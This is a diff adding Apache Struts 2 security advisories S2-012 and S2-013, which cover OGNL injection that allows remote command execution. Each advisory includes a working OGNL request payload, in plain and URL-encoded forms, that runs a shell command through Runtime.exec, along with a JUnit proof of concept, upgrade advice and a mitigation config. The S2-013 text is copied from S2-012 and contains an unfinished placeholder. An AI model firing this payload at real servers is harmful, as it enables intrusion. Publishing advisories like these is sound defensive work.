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+<P>Showcase app vulnerability allows remote command execution</P>
+
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+<TH class="confluenceTh">Who should read this</TH>
+<TD class="confluenceTd">All Struts 2 developers</TD>
+</TR>
+<TR>
+<TH class="confluenceTh">Impact of vulnerability</TH>
+<TD class="confluenceTd">Remote command execution</TD>
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+<TR>
+<TH class="confluenceTh">Maximum security rating</TH>
+<TD class="confluenceTd">Critical</TD>
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+<TR>
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+<TD class="confluenceTd">Developers should immediately upgrade to <A
href="http://struts.apache.org/download.cgi#struts23141"; class="external-link"
rel="nofollow">Struts 2.3.14.1</A></TD>
+</TR>
+<TR>
+<TH class="confluenceTh">Affected Software</TH>
+<TD class="confluenceTd"> Struts 2.0.0 - Struts 2.3.14 </TD>
+</TR>
+<TR>
+<TH class="confluenceTh">Reporter</TH>
+<TD class="confluenceTd"> Xgc Kxlzx, Alibaba Security Team </TD>
+</TR>
+<TR>
+<TH class="confluenceTh">Original Description</TH>
+<TD class="confluenceTd"> Reported directly to security@a.o</TD>
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+
+<H2><A name="S2-012-Problem"></A>Problem</H2>
+
+<P>OGNL provides, among other features, extensive expression <A
href="http://commons.apache.org/ognl/language-guide.html#Expression_Evaluation";
class="external-link" rel="nofollow">evaluation capabilities</A>. The
vulnerability allows a malicious user to inject OGNL code into a property, then
a further assignment of the property cause a further evaluation. </P>
+
+<P>OGNL evaluation was already addressed in <A href="s2-003.html"
title="S2-003">S2-003</A> and <A href="s2-005.html"
title="S2-005">S2-005</A> and <A href="s2-009.html"
title="S2-009">S2-009</A>, but, since it involved just the parameter's
name, it turned out that the resulting fix based on whitelisting acceptable
parameter names closed the vulnerability only partially. </P>
+
+<P>This time, there is no way to whitelist parameter value,<BR>
+Regular expression in ParametersInterceptor matches top['foo'](0) as a valid
expression, which OGNL treats as (top['foo'])(0) and evaluates the value of
'foo' action parameter as an OGNL expression. This lets malicious users put
arbitrary OGNL statements into any String variable exposed by an action and
have it evaluated as an OGNL expression and since OGNL statement is in HTTP
parameter value attacker can use blacklisted characters (e.g. #) to disable
method execution and execute arbitrary methods, bypassing the
ParametersInterceptor and OGNL library protections.</P>
+
+<H2><A name="S2-012-Proofofconcept"></A>Proof of concept</H2>
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeHeader
panelHeader" style="border-bottom-width: 1px;"><B>Vulnerable
Action</B></DIV><DIV class="codeContent panelContent">
+<PRE class="code-java">
+<SPAN class="code-keyword">public</SPAN> class FooAction {
+ <SPAN class="code-keyword">private</SPAN> <SPAN
class="code-object">String</SPAN> foo;
+
+ <SPAN class="code-keyword">public</SPAN> <SPAN
class="code-object">String</SPAN> execute() {
+ <SPAN class="code-keyword">return</SPAN> <SPAN
class="code-quote">"success"</SPAN>;
+ }
+ <SPAN class="code-keyword">public</SPAN> <SPAN
class="code-object">String</SPAN> getFoo() {
+ <SPAN class="code-keyword">return</SPAN> foo;
+ }
+
+ <SPAN class="code-keyword">public</SPAN> void setFoo(<SPAN
class="code-object">String</SPAN> foo) {
+ <SPAN class="code-keyword">this</SPAN>.foo = foo;
+ }
+}
+
+</PRE>
+</DIV></DIV>
+
+<P>Here's an actual decoded example, which will create /tmp/PWNAGE
directory:</P>
+
+<DIV class="preformatted panel" style="border-width: 1px;"><DIV
class="preformattedContent panelContent">
+<PRE>/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]=
new java.lang.Boolean(false),
#_memberAccess["allowStaticMethodAccess"]= new
java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir
/tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true
+</PRE>
+</DIV></DIV>
+
+<P>encoded version:</P>
+<DIV class="preformatted panel" style="border-width: 1px;"><DIV
class="preformattedContent panelContent">
+<PRE>/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%2...@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
+</PRE>
+</DIV></DIV>
+
+<P>And the JUnit version</P>
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeHeader
panelHeader" style="border-bottom-width: 1px;"><B>PoC</B></DIV><DIV
class="codeContent panelContent">
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+<SPAN class="code-keyword">public</SPAN> class FooActionTest <SPAN
class="code-keyword">extends</SPAN>
org.apache.struts2.StrutsJUnit4TestCase<FooAction> {
+ @Test
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+ <SPAN class="code-quote">"@java.lang.<SPAN
class="code-object">Runtime</SPAN>@getRuntime().exec('mkdir
/tmp/PWNAGE'))(meh)"</SPAN>);
+
+ request.setParameter(<SPAN
class="code-quote">"top['foo'](0)"</SPAN>, <SPAN
class="code-quote">"<SPAN class="code-keyword">true</SPAN>"</SPAN>);
+
+ <SPAN class="code-object">String</SPAN> res = <SPAN
class="code-keyword">this</SPAN>.executeAction(<SPAN
class="code-quote">"/example/foo.action"</SPAN>);
+ FooAction action = <SPAN class="code-keyword">this</SPAN>.getAction();
+
+ File pwn = <SPAN class="code-keyword">new</SPAN> File(<SPAN
class="code-quote">"/tmp/PWNAGE"</SPAN>);
+ Assert.assertFalse(<SPAN class="code-quote">"Remote exploit: The
PWN folder has been created"</SPAN>, pwn.exists());
+ }
+}
+
+</PRE>
+</DIV></DIV>
+
+<H2><A name="S2-012-Solution"></A>Solution</H2>
+
+<P>The regex pattern inside the ParameterInterceptor was changed to provide a
more narrow space of acceptable parameter names. <BR>
+Furthermore the new setParameter method provided by the value stack will allow
no more eval expression inside the param names.</P>
+
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href="http://struts.apache.org/download.cgi#struts2312"; class="external-link"
rel="nofollow">Struts 2.3.1.2</A>, which contains the corrected OGNL and XWork
library.</B></TD></TR></TABLE></DIV>
+
+<P>In case an upgrade isn't possible in a particular environment, there is a
configuration based mitigation workaround:</P>
+
+<H3><A
name="S2-012-PossibleMitigationWorkaround%3AConfigureParametersIntercptorinstruts.xmltoExcludeMaliciousParameters"></A>Possible
Mitigation Workaround: Configure ParametersIntercptor in struts.xml to Exclude
Malicious Parameters</H3>
+
+<P>The following additional interceptor-ref configuration should mitigate the
problem when applied correctly, allowing only simple navigational
expression:</P>
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent
panelContent">
+<PRE class="code-java">
+<interceptor-ref name=<SPAN class="code-quote">"params"</SPAN>>
+ <param name=<SPAN
class="code-quote">"acceptParamNames"</SPAN>>\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param>
+</interceptor-ref>
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class="external-link" rel="nofollow">the type conversion support for
collection and map</A> (those parameter names should be attached to
acceptParamNames variable).<BR>
+For this configuration to work correctly, it has to be applied to <B>any
params interceptor ref in any stack an application is using</B>.<BR>
+E.g., if an application is configured to use defaultStack as well as
paramsPrepareParamsStack, you should copy both stack definitions from
struts-default.xml to the application's struts.xml config file and apply the
described excludeParams configuration for each params interceptor ref, that is
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+<TD class="confluenceTd">All Struts 2 developers</TD>
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+<TH class="confluenceTh">Impact of vulnerability</TH>
+<TD class="confluenceTd">Remote command execution</TD>
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+<TD class="confluenceTd">Critical</TD>
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+<TD class="confluenceTd">Developers should immediately upgrade to <A
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rel="nofollow">Struts 2.3.14.1</A></TD>
+</TR>
+<TR>
+<TH class="confluenceTh">Affected Software</TH>
+<TD class="confluenceTd"> Struts 2.0.0 - Struts 2.3.14 </TD>
+</TR>
+<TR>
+<TH class="confluenceTh">Reporter</TH>
+<TD class="confluenceTd"> Xgc Kxlzx, Alibaba Security Team </TD>
+</TR>
+<TR>
+<TH class="confluenceTh">Original Description</TH>
+<TD class="confluenceTd"> Reported directly to security@a.o</TD>
+</TR>
+</TBODY></TABLE>
+</DIV>
+
+<H2><A name="S2-013-Problem"></A>Problem</H2>
+
+<P>OGNL provides, among other features, extensive expression <A
href="http://commons.apache.org/ognl/language-guide.html#Expression_Evaluation";
class="external-link" rel="nofollow">evaluation capabilities</A>. The
vulnerability allows a malicious user to inject OGNL code into a property, then
a further assignment of the property cause a further evaluation. </P>
+
+<P>OGNL evaluation was already addressed in <A href="s2-003.html"
title="S2-003">S2-003</A> and <A href="s2-005.html"
title="S2-005">S2-005</A> and <A href="s2-009.html"
title="S2-009">S2-009</A>, but, since it involved just the parameter's
name, it turned out that the resulting fix based on whitelisting acceptable
parameter names closed the vulnerability only partially. </P>
+
+<P>This time, there is no way to whitelist parameter value,<BR>
+----------------------------------------- (to be continue)<BR>
+Regular expression in ParametersInterceptor matches top['foo'](0) as a valid
expression, which OGNL treats as (top['foo'])(0) and evaluates the value of
'foo' action parameter as an OGNL expression. This lets malicious users put
arbitrary OGNL statements into any String variable exposed by an action and
have it evaluated as an OGNL expression and since OGNL statement is in HTTP
parameter value attacker can use blacklisted characters (e.g. #) to disable
method execution and execute arbitrary methods, bypassing the
ParametersInterceptor and OGNL library protections.</P>
+
+<H2><A name="S2-013-Proofofconcept"></A>Proof of concept</H2>
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeHeader
panelHeader" style="border-bottom-width: 1px;"><B>Vulnerable
Action</B></DIV><DIV class="codeContent panelContent">
+<PRE class="code-java">
+<SPAN class="code-keyword">public</SPAN> class FooAction {
+ <SPAN class="code-keyword">private</SPAN> <SPAN
class="code-object">String</SPAN> foo;
+
+ <SPAN class="code-keyword">public</SPAN> <SPAN
class="code-object">String</SPAN> execute() {
+ <SPAN class="code-keyword">return</SPAN> <SPAN
class="code-quote">"success"</SPAN>;
+ }
+ <SPAN class="code-keyword">public</SPAN> <SPAN
class="code-object">String</SPAN> getFoo() {
+ <SPAN class="code-keyword">return</SPAN> foo;
+ }
+
+ <SPAN class="code-keyword">public</SPAN> void setFoo(<SPAN
class="code-object">String</SPAN> foo) {
+ <SPAN class="code-keyword">this</SPAN>.foo = foo;
+ }
+}
+
+</PRE>
+</DIV></DIV>
+
+<P>Here's an actual decoded example, which will create /tmp/PWNAGE
directory:</P>
+
+<DIV class="preformatted panel" style="border-width: 1px;"><DIV
class="preformattedContent panelContent">
+<PRE>/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]=
new java.lang.Boolean(false),
#_memberAccess["allowStaticMethodAccess"]= new
java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir
/tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true
+</PRE>
+</DIV></DIV>
+
+<P>encoded version:</P>
+<DIV class="preformatted panel" style="border-width: 1px;"><DIV
class="preformattedContent panelContent">
+<PRE>/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%2...@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
+</PRE>
+</DIV></DIV>
+
+<P>And the JUnit version</P>
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeHeader
panelHeader" style="border-bottom-width: 1px;"><B>PoC</B></DIV><DIV
class="codeContent panelContent">
+<PRE class="code-java">
+<SPAN class="code-keyword">public</SPAN> class FooActionTest <SPAN
class="code-keyword">extends</SPAN>
org.apache.struts2.StrutsJUnit4TestCase<FooAction> {
+ @Test
+ <SPAN class="code-keyword">public</SPAN> void testExecute() <SPAN
class="code-keyword">throws</SPAN> Exception {
+ request.setParameter(<SPAN class="code-quote">"foo"</SPAN>,
<SPAN
class="code-quote">"(#context[\"</SPAN>xwork.MethodAccessor.denyMethodExecution\<SPAN
class="code-quote">"]= <SPAN class="code-keyword">new</SPAN>
"</SPAN> +
+ <SPAN class="code-quote">"java.lang.<SPAN
class="code-object">Boolean</SPAN>(<SPAN class="code-keyword">false</SPAN>),
#_memberAccess[\"</SPAN>allowStaticMethodAccess\<SPAN
class="code-quote">"]= <SPAN class="code-keyword">new</SPAN>
java.lang.<SPAN class="code-object">Boolean</SPAN>(<SPAN
class="code-keyword">true</SPAN>), "</SPAN> +
+ <SPAN class="code-quote">"@java.lang.<SPAN
class="code-object">Runtime</SPAN>@getRuntime().exec('mkdir
/tmp/PWNAGE'))(meh)"</SPAN>);
+
+ request.setParameter(<SPAN
class="code-quote">"top['foo'](0)"</SPAN>, <SPAN
class="code-quote">"<SPAN class="code-keyword">true</SPAN>"</SPAN>);
+
+ <SPAN class="code-object">String</SPAN> res = <SPAN
class="code-keyword">this</SPAN>.executeAction(<SPAN
class="code-quote">"/example/foo.action"</SPAN>);
+ FooAction action = <SPAN class="code-keyword">this</SPAN>.getAction();
+
+ File pwn = <SPAN class="code-keyword">new</SPAN> File(<SPAN
class="code-quote">"/tmp/PWNAGE"</SPAN>);
+ Assert.assertFalse(<SPAN class="code-quote">"Remote exploit: The
PWN folder has been created"</SPAN>, pwn.exists());
+ }
+}
+
+</PRE>
+</DIV></DIV>
+
+<H2><A name="S2-013-Solution"></A>Solution</H2>
+
+<P>The regex pattern inside the ParameterInterceptor was changed to provide a
more narrow space of acceptable parameter names. <BR>
+Furthermore the new setParameter method provided by the value stack will allow
no more eval expression inside the param names.</P>
+
+
+<DIV class="panelMacro"><TABLE class="warningMacro"><COLGROUP><COL
width="24"><COL></COLGROUP><TR><TD valign="top"><IMG
src="https://cwiki.apache.org/confluence/images/icons/emoticons/forbidden.gif";
width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>It is
strongly recommended to upgrade to <A
href="http://struts.apache.org/download.cgi#struts2312"; class="external-link"
rel="nofollow">Struts 2.3.1.2</A>, which contains the corrected OGNL and XWork
library.</B></TD></TR></TABLE></DIV>
+
+<P>In case an upgrade isn't possible in a particular environment, there is a
configuration based mitigation workaround:</P>
+
+<H3><A
name="S2-013-PossibleMitigationWorkaround%3AConfigureParametersIntercptorinstruts.xmltoExcludeMaliciousParameters"></A>Possible
Mitigation Workaround: Configure ParametersIntercptor in struts.xml to Exclude
Malicious Parameters</H3>
+
+<P>The following additional interceptor-ref configuration should mitigate the
problem when applied correctly, allowing only simple navigational
expression:</P>
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent
panelContent">
+<PRE class="code-java">
+<interceptor-ref name=<SPAN class="code-quote">"params"</SPAN>>
+ <param name=<SPAN
class="code-quote">"acceptParamNames"</SPAN>>\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param>
+</interceptor-ref>
+</PRE>
+</DIV></DIV>
+<DIV class="panelMacro"><TABLE class="noteMacro"><COLGROUP><COL
width="24"><COL></COLGROUP><TR><TD valign="top"><IMG
src="https://cwiki.apache.org/confluence/images/icons/emoticons/warning.gif";
width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD>Beware that
the above pattern breaks <A
href="http://struts.apache.org/2.3.1.1/docs/type-conversion.html#TypeConversion-CollectionandMapSupport";
class="external-link" rel="nofollow">the type conversion support for
collection and map</A> (those parameter names should be attached to
acceptParamNames variable).<BR>
+For this configuration to work correctly, it has to be applied to <B>any
params interceptor ref in any stack an application is using</B>.<BR>
+E.g., if an application is configured to use defaultStack as well as
paramsPrepareParamsStack, you should copy both stack definitions from
struts-default.xml to the application's struts.xml config file and apply the
described excludeParams configuration for each params interceptor ref, that is
<B>once for defaultStack and twice for
paramsPrepareParamsStack</B></TD></TR></TABLE></DIV>
+ </DIV>
+
+
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<P>The following security bulletins are available:</P>
-
-<UL><LI><A href="s2-001.html" title="S2-001">S2-001</A> — <SPAN
class="smalltext">Remote code exploit on form validation
error</SPAN></LI><LI><A href="s2-002.html" title="S2-002">S2-002</A> —
<SPAN class="smalltext">Cross site scripting (XSS) vulnerability on
<s:url> and <s:a> tags</SPAN></LI><LI><A href="s2-003.html"
title="S2-003">S2-003</A> — <SPAN class="smalltext">XWork
ParameterInterceptors bypass allows OGNL statement execution</SPAN></LI><LI><A
href="s2-004.html" title="S2-004">S2-004</A> — <SPAN
class="smalltext">Directory traversal vulnerability while serving static
content</SPAN></LI><LI><A href="s2-005.html" title="S2-005">S2-005</A> —
<SPAN class="smalltext">XWork ParameterInterceptors bypass allows remote
command execution</SPAN></LI><LI><A href="s2-006.html"
title="S2-006">S2-006</A> — <SPAN class="smalltext">Multiple Cross-Site
Scripting (XSS) in XWork generated error pages</SPAN></LI><LI><A
href="s2-007.html" t
itle="S2-007">S2-007</A> — <SPAN class="smalltext">User input is
evaluated as an OGNL expression when there's a conversion
error</SPAN></LI><LI><A href="s2-008.html" title="S2-008">S2-008</A> —
<SPAN class="smalltext">Multiple critical vulnerabilities in
Struts2</SPAN></LI><LI><A href="s2-009.html" title="S2-009">S2-009</A> —
<SPAN class="smalltext">ParameterInterceptor vulnerability allows remote
command execution</SPAN></LI><LI><A href="s2-010.html"
title="S2-010">S2-010</A> — <SPAN class="smalltext">When using Struts 2
token mechanism for CSRF protection, token check may be bypassed by misusing
known session attributes</SPAN></LI><LI><A href="s2-011.html"
title="S2-011">S2-011</A> — <SPAN class="smalltext">Long request
parameter names might significantly promote the effectiveness of DOS
attacks</SPAN></LI><LI><A
href="https://cwiki.apache.org/confluence/display/WW/S2-012";
title="S2-012">S2-012</A> — <SPAN class="smalltext">Showcase app
vulnerability allows remote command execution</SPAN></LI><LI><A
href="https://cwiki.apache.org/confluence/display/WW/S2-013";
title="S2-013">S2-013</A> — <SPAN class="smalltext">A vulnerability,
present in the <EM>includeParams</EM> attribute of the <EM>URL</EM> and
<EM>Anchor</EM> Tag, allows remote command execution</SPAN></LI></UL>
+<UL><LI><A href="s2-001.html" title="S2-001">S2-001</A> — <SPAN
class="smalltext">Remote code exploit on form validation
error</SPAN></LI><LI><A href="s2-002.html" title="S2-002">S2-002</A> —
<SPAN class="smalltext">Cross site scripting (XSS) vulnerability on
<s:url> and <s:a> tags</SPAN></LI><LI><A href="s2-003.html"
title="S2-003">S2-003</A> — <SPAN class="smalltext">XWork
ParameterInterceptors bypass allows OGNL statement execution</SPAN></LI><LI><A
href="s2-004.html" title="S2-004">S2-004</A> — <SPAN
class="smalltext">Directory traversal vulnerability while serving static
content</SPAN></LI><LI><A href="s2-005.html" title="S2-005">S2-005</A> —
<SPAN class="smalltext">XWork ParameterInterceptors bypass allows remote
command execution</SPAN></LI><LI><A href="s2-006.html"
title="S2-006">S2-006</A> — <SPAN class="smalltext">Multiple Cross-Site
Scripting (XSS) in XWork generated error pages</SPAN></LI><LI><A
href="s2-007.html" t
itle="S2-007">S2-007</A> — <SPAN class="smalltext">User input is
evaluated as an OGNL expression when there's a conversion
error</SPAN></LI><LI><A href="s2-008.html" title="S2-008">S2-008</A> —
<SPAN class="smalltext">Multiple critical vulnerabilities in
Struts2</SPAN></LI><LI><A href="s2-009.html" title="S2-009">S2-009</A> —
<SPAN class="smalltext">ParameterInterceptor vulnerability allows remote
command execution</SPAN></LI><LI><A href="s2-010.html"
title="S2-010">S2-010</A> — <SPAN class="smalltext">When using Struts 2
token mechanism for CSRF protection, token check may be bypassed by misusing
known session attributes</SPAN></LI><LI><A href="s2-011.html"
title="S2-011">S2-011</A> — <SPAN class="smalltext">Long request
parameter names might significantly promote the effectiveness of DOS
attacks</SPAN></LI><LI><A href="s2-012.html" title="S2-012">S2-012</A> —
<SPAN class="smalltext">Showcase app vulnerability allows remote command execut
ion</SPAN></LI><LI><A href="s2-013.html" title="S2-013">S2-013</A> —
<SPAN class="smalltext">A vulnerability, present in the <EM>includeParams</EM>
attribute of the <EM>URL</EM> and <EM>Anchor</EM> Tag, allows remote command
execution</SPAN></LI></UL>
</DIV>
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<SPAN class="smalltext">(Apache Struts 2 Documentation)</SPAN>
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- <A
href="https://cwiki.apache.org/confluence/display/WW/S2-012";
title="S2-012">S2-012</A>
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<SPAN class="smalltext">(Apache Struts 2 Documentation)</SPAN>
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href="https://cwiki.apache.org/confluence/display/WW/S2-013";
title="S2-013">S2-013</A>
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